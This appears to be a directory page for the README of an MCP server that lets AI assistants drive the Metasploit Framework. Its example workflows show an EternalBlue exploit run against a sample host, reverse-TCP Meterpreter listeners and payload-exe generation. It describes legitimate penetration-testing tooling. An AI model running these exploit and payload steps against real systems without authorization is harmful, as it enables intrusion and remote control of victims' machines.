Metasploit MCP Server

by GH05TCREW

Integrations

  • Provides a bridge to the Metasploit Framework penetration testing platform, enabling exploitation workflows, payload generation and execution, post-exploitation tools, listener management, and auxiliary module support.

Metasploit MCP Server

A Model Context Protocol (MCP) server for Metasploit Framework integration.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Description

This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows.

Features

Module Information

  • list_exploits: Search and list available Metasploit exploit modules
  • list_payloads: Search and list available Metasploit payload modules with optional platform and architecture filtering

Exploitation Workflow

  • run_exploit: Configure and execute an exploit against a target with options to run checks first
  • run_auxiliary_module: Run any Metasploit auxiliary module with custom options
  • run_post_module: Execute post-exploitation modules against existing sessions

Payload Generation

  • generate_payload: Generate payload files using Metasploit RPC (saves files locally)

Session Management

  • list_active_sessions: Show current Metasploit sessions with detailed information
  • send_session_command: Run a command in an active shell or Meterpreter session
  • terminate_session: Forcefully end an active session

Handler Management

  • list_listeners: Show all active handlers and background jobs
  • start_listener: Create a new multi/handler to receive connections
  • stop_job: Terminate any running job or handler

Prerequisites

  • Metasploit Framework installed and msfrpcd running
  • Python 3.10 or higher
  • Required Python packages (see requirements.txt)

Installation

  1. Clone this repository
  2. Install dependencies:
    pip install -r requirements.txt
  3. Configure environment variables (optional):
    MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads

Usage

Start the Metasploit RPC service:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Transport Options

The server supports two transport methods:

  • HTTP/SSE (Server-Sent Events): Default mode for interoperability with most MCP clients
  • STDIO (Standard Input/Output): Used with Claude Desktop and similar direct pipe connections

You can explicitly select the transport mode using the --transport flag:

# Run with HTTP/SSE transport (default) python MetasploitMCP.py --transport http # Run with STDIO transport python MetasploitMCP.py --transport stdio

Additional options for HTTP mode:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Claude Desktop Integration

For Claude Desktop integration, configure claude_desktop_config.json:

{ "mcpServers": { "metasploit": { "command": "uv", "args": [ "--directory", "C:\\path\\to\\MetasploitMCP", "run", "MetasploitMCP.py", "--transport", "stdio" ], "env": { "MSF_PASSWORD": "yourpassword" } } } }

Other MCP Clients

For other MCP clients that use HTTP/SSE:

  1. Start the server in HTTP mode:
    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
  2. Configure your MCP client to connect to:
    • SSE endpoint: http://your-server-ip:8085/sse

Security Considerations

⚠️ IMPORTANT SECURITY WARNING:

This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.

  • Always validate and review all commands before execution
  • Only run in segregated test environments or with proper authorization
  • Be aware that post-exploitation commands can result in significant system modifications

Example Workflows

Basic Exploitation

  1. List available exploits: list_exploits("ms17_010")
  2. Select and run an exploit: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
  3. List sessions: list_active_sessions()
  4. Run commands: send_session_command(1, "whoami")

Post-Exploitation

  1. Run a post module: run_post_module("windows/gather/enum_logged_on_users", 1)
  2. Send custom commands: send_session_command(1, "sysinfo")
  3. Terminate when done: terminate_session(1)

Handler Management

  1. Start a listener: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
  2. List active handlers: list_listeners()
  3. Generate a payload: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
  4. Stop a handler: stop_job(1)

Configuration Options

Payload Save Directory

By default, payloads generated with generate_payload are saved to a payloads directory in your home folder (~/payloads or C:\Users\YourUsername\payloads). You can customize this location by setting the PAYLOAD_SAVE_DIR environment variable.

Setting the environment variable:

  • Windows (PowerShell):
    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  • Windows (Command Prompt):
    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  • Linux/macOS:
    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  • In Claude Desktop config:
    "env": { "MSF_PASSWORD": "yourpassword", "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default }

Note: If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail.

License

Apache 2.0

-
security - not tested
A
license - permissive license
-
quality - not tested

hybrid server

The server is able to function both locally and remotely, depending on the configuration or use case.

Provides a bridge between large language models and the Metasploit Framework, enabling AI assistants to access and control penetration testing functionality through natural language.

  1. Description
    1. Features
      1. Module Information
      2. Exploitation Workflow
      3. Payload Generation
      4. Session Management
      5. Handler Management
    2. Prerequisites
      1. Installation
        1. Usage
          1. Transport Options
          2. Claude Desktop Integration
          3. Other MCP Clients
        2. Security Considerations
          1. Example Workflows
            1. Basic Exploitation
            2. Post-Exploitation
            3. Handler Management
          2. Configuration Options
            1. Payload Save Directory
          3. License

            Related MCP Servers

            • -
              security
              F
              license
              -
              quality
              A demonstration server that allows large language models to perform penetration testing tasks autonomously by interfacing with the Mythic C2 framework.
              Last updated -
              11
              Python
              • Apple
            • -
              security
              F
              license
              -
              quality
              Enables AI assistants to interact with Metabase, providing access to dashboards, questions, databases, and tools for executing queries and viewing data through natural language.
              Last updated -
              JavaScript
              • Apple
            • -
              security
              A
              license
              -
              quality
              A FastMCP-based interface for Metasploit Framework, enabling AI agents to interact with Metasploit capabilities for exploitation, payload generation, target scanning, and session management.
              Last updated -
              Python
              Apache 2.0
              • Linux
              • Apple
            • A
              security
              F
              license
              A
              quality
              A Model Context Protocol server that allows AI assistants to execute and manage JMeter performance tests through natural language commands.
              Last updated -
              2
              10
              Python

            View all related MCP servers

            ID: vmkfe6ftya